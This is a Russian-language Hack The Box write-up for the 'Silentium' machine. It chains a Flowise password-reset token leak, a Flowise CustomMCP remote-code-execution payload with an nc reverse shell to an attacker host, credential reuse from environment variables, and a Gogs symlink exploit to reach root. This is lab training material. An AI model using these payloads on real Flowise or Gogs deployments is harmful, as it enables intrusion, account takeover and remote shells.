## https://sploitus.com/exploit?id=KITPLOIT:TOOLS-GITHUB-TWAPPZ-HTB-SILENTIUM-WRITEUP
# HTB - Разбор Silentium
  
## Информация о машине
* **Название:** Silentium
* **ОС:** Linux
* **Сложность:** Easy
* **CVE:** CVE-2025-58434, CVE-2025-59528, CVE-2025-8110
* * *
## Энумерация
### Nmap-скан
root@kitploit:~
nmap -sC -sV -p- --min-rate 5000 <IP> -oN nmap.txt
Открытые порты: 22 (SSH), 80 (HTTP)
### Виртуальные хосты`staging.silentium.htb` работает под управлением **Flowise 3.0.5**
* * *
## Первоначальный доступ — RCE в Flowise
### CVE-2025-58434 — Утечка токена сброса пароля без аутентификации
Эндпоинт forgot-password раскрывает tempToken прямо в ответе API.
root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/forgot-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"some-email@example.com"}}'
Используйте утёкший `tempToken`, чтобы сбросить пароль:
root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/account/reset-password \
-X POST -H "Content-Type: application/json" \
-d '{"user":{"email":"some-email@example.com","tempToken":"<TOKEN>","password":"Hacked123!"}}'
### CVE-2025-59528 — Аутентифицированный RCE через CustomMCP
Войдите в систему, чтобы получить API-ключ, затем запустите RCE:
root@kitploit:~
curl -s http://staging.silentium.htb/api/v1/node-load-method/customMCP \
-X POST \
-H "Content-Type: application/json" \
-H "Authorization: Bearer <API_KEY>" \
-d '{"loadMethod":"listActions","inputs":{"mcpServerConfig":"({x:(()=>{process.mainModule.require(\"child_process\").exec(\"rm /tmp/f;mkfifo /tmp/f;cat /tmp/f|sh -i 2>&1|nc <LHOST> 443 >/tmp/f\");return 1;})()})"}}'
Получил оболочку внутри Docker-контейнера от имени root.
* * *
## Побег из контейнера
Проверил переменные окружения:
root@kitploit:~
env
Нашёл учётные данные:
* `FLOWISE_USERNAME=ben`
* `FLOWISE_PASSWORD=F1l3_d0ck3r`
Подключился по SSH к хосту:
root@kitploit:~
ssh ben@<IP>
* * *
## Повышение привилегий — Gogs CVE-2025-8110
Внутри сети на порту 3001 работает Gogs от имени root.
Настроил SSH-туннель:
root@kitploit:~
ssh -L 8080:127.0.0.1:3001 ben@<IP>
Зарегистрировал аккаунт в Gogs через `http://127.0.0.1:8080`, сгенерировал API-токен.
### CVE-2025-8110 — Обход симлинков в PutContents API
Использовал эксплойт TYehan:
root@kitploit:~
python3 exploit.py \
--url http://127.0.0.1:8080 \
--username <user> \
--password <pass> \
--token <token> \
--host <LHOST> \
--port 4446
Получил root-оболочку! 🎉
* * *
## Флаги
* **Флаг пользователя:** `/home/ben/user.txt`
* **Root-флаг:** `/root/root.txt`
* * *
## Используемые инструменты
* nmap
* curl
* ffuf
* netcat
* Python3
## Ссылки
* CVE-2025-58434
* CVE-2025-59528
* CVE-2025-8110 Добавлено в `/etc/hosts`: